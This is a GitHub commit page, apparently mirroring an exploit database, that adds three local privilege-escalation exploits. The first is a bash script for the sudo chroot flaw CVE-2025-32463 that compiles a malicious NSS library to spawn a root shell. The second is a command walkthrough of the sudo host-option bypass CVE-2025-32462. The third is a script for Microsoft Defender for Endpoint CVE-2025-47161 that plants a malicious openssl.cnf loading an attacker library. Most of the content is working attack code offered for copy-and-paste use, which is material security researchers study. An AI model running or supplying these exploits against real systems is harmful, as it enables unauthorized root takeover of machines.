Skip to content

Commit bfdbdda

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 6efbd2e + 1c08d6e commit bfdbdda

File tree

9 files changed

+1302
-0
lines changed

9 files changed

+1302
-0
lines changed

‎exploits/linux/local/52352.txt‎

Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
Exploit Title: Sudo chroot 1.9.17 - Local Privilege Escalation
2+
Google Dork: not aplicable
3+
Date: Mon, 30 Jun 2025
4+
Exploit Author: Stratascale
5+
Vendor Homepage:https://salsa.debian.org/sudo-team/sudo
6+
Software Link:
7+
Version: Sudo versions 1.9.14 to 1.9.17 inclusive
8+
Tested on: Kali Rolling 2025-7-3
9+
CVE : CVE-2025-32463
10+
11+
*Version running today in Kali:*
12+
https://pkg.kali.org/news/640802/sudo-1916p2-2-imported-into-kali-rolling/
13+
14+
*Background*
15+
16+
An attacker can leverage sudo's -R (--chroot) option to run
17+
arbitrary commands as root, even if they are not listed in the
18+
sudoers file.
19+
20+
Sudo versions affected:
21+
22+
Sudo versions 1.9.14 to 1.9.17 inclusive are affected.
23+
24+
CVE ID:
25+
26+
This vulnerability has been assigned CVE-2025-32463 in the
27+
Common Vulnerabilities and Exposures database.
28+
29+
Details:
30+
31+
Sudo's -R (--chroot) option is intended to allow the user to
32+
run a command with a user-selected root directory if the sudoers
33+
file allows it. A change was made in sudo 1.9.14 to resolve
34+
paths via chroot() using the user-specified root directory while
35+
the sudoers file was still being evaluated. It is possible for
36+
an attacker to trick sudo into loading an arbitrary shared
37+
library by creating an /etc/nsswitch.conf file under the
38+
user-specified root directory.
39+
40+
The change from sudo 1.9.14 has been reverted in sudo 1.9.17p1
41+
and the chroot feature has been marked as deprecated. It will
42+
be removed entirely in a future sudo release. Because of the
43+
way sudo resolves commands, supporting a user-specified chroot
44+
directory is error-prone and this feature does not appear to
45+
be widely used.
46+
47+
A more detailed description of the bug and its effects can be
48+
found in the Stratascale advisory:
49+
https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
50+
51+
Impact:
52+
53+
On systems that support /etc/nsswitch.conf a user may be able
54+
to run arbitrary commands as root.
55+
56+
*Exploit:*
57+
58+
*Verify the sudo version running: sudo --versionIf is vulnerable, copy and
59+
paste the following code and run it.*
60+
*----------------------*
61+
#!/bin/bash
62+
# sudo-chwoot.sh – PoC CVE-2025-32463
63+
set -e
64+
65+
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
66+
cd "$STAGE"
67+
68+
# 1. NSS library
69+
cat > woot1337.c <<'EOF'
70+
#include <stdlib.h>
71+
#include <unistd.h>
72+
73+
__attribute__((constructor))
74+
void woot(void) {
75+
setreuid(0,0); /* change to UID 0 */
76+
setregid(0,0); /* change to GID 0 */
77+
chdir("/"); /* exit from chroot */
78+
execl("/bin/bash","/bin/bash",NULL); /* root shell */
79+
}
80+
EOF
81+
82+
# 2. Mini chroot with toxic nsswitch.conf
83+
mkdir -p woot/etc libnss_
84+
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
85+
cp /etc/group woot/etc # make getgrnam() not fail
86+
87+
# 3. compile libnss_
88+
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
89+
90+
echo "[*] Running exploit…"
91+
sudo -R woot woot # (-R <dir> <cmd>)
92+
# • the first “woot” is chroot
93+
# • the second “woot” is and inexistent
94+
command
95+
# (only needs resolve the user)
96+
97+
rm -rf "$STAGE"
98+
*----------------------*

‎exploits/linux/local/52354.txt‎

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# Exploit Title: Sudo 1.9.17 Host Option - Elevation of Privilege
2+
# Date: 2025-06-30
3+
# Exploit Author: Rich Mirch
4+
# Vendor Homepage: https://www.sudo.ws
5+
# Software Link: https://www.sudo.ws/dist/sudo-1.9.17.tar.gz
6+
# Version: Stable 1.9.0 - 1.9.17, Legacy 1.8.8 - 1.8.32
7+
# Fixed in: 1.9.17p1
8+
# Vendor Advisory: https://www.sudo.ws/security/advisories/host_any
9+
# Blog:
10+
https://www.stratascale.com/vulnerability-alert-CVE-2025-32462-sudo-host
11+
# Tested on: Ubuntu 24.04.1; Sudo 1.9.15p5, macOS Sequoia 15.3.2; Sudo
12+
1.9.13p2
13+
# CVE : CVE-2025-32462
14+
#
15+
No exploit is required. Executing a sudo or sudoedit command with the host
16+
option referencing an unrelated remote host rule causes Sudo to treat the
17+
rule as valid for the local system. As a result, any command allowed by the
18+
remote host rule can be executed on the local machine.
19+
20+
Example /etc/sudoers file using the Host_Alias directive. The lowpriv user
21+
is allowed to execute all commands (full root) on dev.test.local,
22+
ci.test.local, but not prod.test.local.
23+
24+
Host_Alias SERVERS = prod.test.local, dev.test.local
25+
Host_Alias PROD = prod.test.local
26+
lowpriv SERVERS, !PROD = NOPASSWD:ALL
27+
lowpriv ci.test.local = NOPASSWD:ALL
28+
29+
Even though the prod.test.local server is explicitly denied for the lowpriv
30+
user, root access is achieved by specifying the host option for the
31+
dev.test.local or ci.test.local servers.
32+
33+
Example
34+
35+
Show that lowpriv is not allowed to execute sudo on the prod server.
36+
37+
lowpriv@prod:~$ id
38+
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
39+
lowpriv@prod:~$ sudo -l
40+
[sudo] password for lowpriv:
41+
Sorry, user lowpriv may not run sudo on prod.
42+
43+
List the host rules for the dev.test.local server.
44+
45+
lowpriv@prod:~$ sudo -l -h dev.test.local
46+
Matching Defaults entries for lowpriv on dev:
47+
env_reset, mail_badpass,
48+
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
49+
use_pty
50+
51+
User lowpriv may run the following commands on dev:
52+
(root) NOPASSWD: ALL
53+
54+
Execute a root shell on prod.test.local by specifying the -h dev.test.local
55+
option.
56+
57+
lowpriv@prod:~$ sudo -h dev.test.local -i
58+
sudo: a remote host may only be specified when listing privileges.
59+
root@prod:~# id
60+
uid=0(root) gid=0(root) groups=0(root)

‎exploits/multiple/local/52355.txt‎

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
#!/bin/bash
2+
# Exploit Title: Microsoft Defender for Endpoint (MDE) - Elevation of Privilege
3+
# Date: 2025-05-27
4+
# Exploit Author: Rich Mirch
5+
# Vendor Homepage: https://learn.microsoft.com/en-us/defender-endpoint/
6+
# Software Link:
7+
https://learn.microsoft.com/en-us/defender-endpoint/microsoft-defender-endpoint-linux
8+
# Versions:
9+
# Vulnerable March-2025 Build: 101.25012.0000 30.125012.0000.0
10+
# Vulnerable Feb-2025 Build: 101.24122.0008 20.124112.0008.0
11+
# Vulnerable Feb-2025 Build: 101.24112.0003 30.124112.0003.0
12+
# Vulnerable Jan-2025 Build: 101.24112.0001 30.124112.0001.0
13+
# Vulnerable Jan-2025 Build: 101.24102.0000 30.124102.0000.0
14+
#
15+
# Vendor Advisory:
16+
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47161
17+
# Blog: http://stratascale.com/vulnerability-alert-cve202547161
18+
# Tested on: Ubuntu 24.04.1 LTS and 24.04.2 LTS
19+
# CVE : CVE-2025-47161
20+
#
21+
echo "MDE Version: $(mdatp version)"
22+
23+
# stage
24+
cat >mde-exp.c<<EOF
25+
/*
26+
* Build procedure:
27+
* gcc -fPIC -o woot.o -Wall -c woot.c
28+
* gcc -Wall -shared -Wl,-soname,woot.so -Wl,-init,woot -o /tmp/woot.so woot.o
29+
*/
30+
#include <stdlib.h>
31+
#include <stdio.h>
32+
#include <unistd.h>
33+
#include <sys/stat.h>
34+
35+
void woot(){
36+
// for manual testing
37+
if(isatty(STDERR_FILENO)) {
38+
fprintf(stderr,"Woot!\n");
39+
}
40+
system("ps -ef > /woot.txt");
41+
sleep(3000000);
42+
}
43+
44+
EOF
45+
46+
# build exploit
47+
gcc -fPIC -o woot.o -Wall -c mde-exp.c
48+
gcc -Wall -shared -Wl,-soname,woot.so -Wl,-init,woot -o /tmp/woot.so woot.o
49+
50+
mkdir -p /tmp/build/osquery/build/installed_formulas/openssl/etc/openssl/
51+
52+
cat > /tmp/build/osquery/build/installed_formulas/openssl/etc/openssl/openssl.cnf
53+
<<EOF
54+
# Malicious openssl.cnf
55+
openssl_conf = openssl_init
56+
[openssl_init]
57+
engines = engine_section
58+
59+
[engine_section]
60+
woot = woot_section
61+
62+
[woot_section]
63+
engine_id = woot
64+
dynamic_path = /tmp/woot.so
65+
init = 0
66+
EOF
67+
68+
echo "Checking every 15 seconds for /woot.txt"
69+
while true
70+
do
71+
if [[ -f /woot.txt ]]
72+
then
73+
echo "WOOT - /woot.txt exists"
74+
ls -ld /woot.txt
75+
exit
76+
fi
77+
sleep 15
78+
done

0 commit comments

Comments
 (0)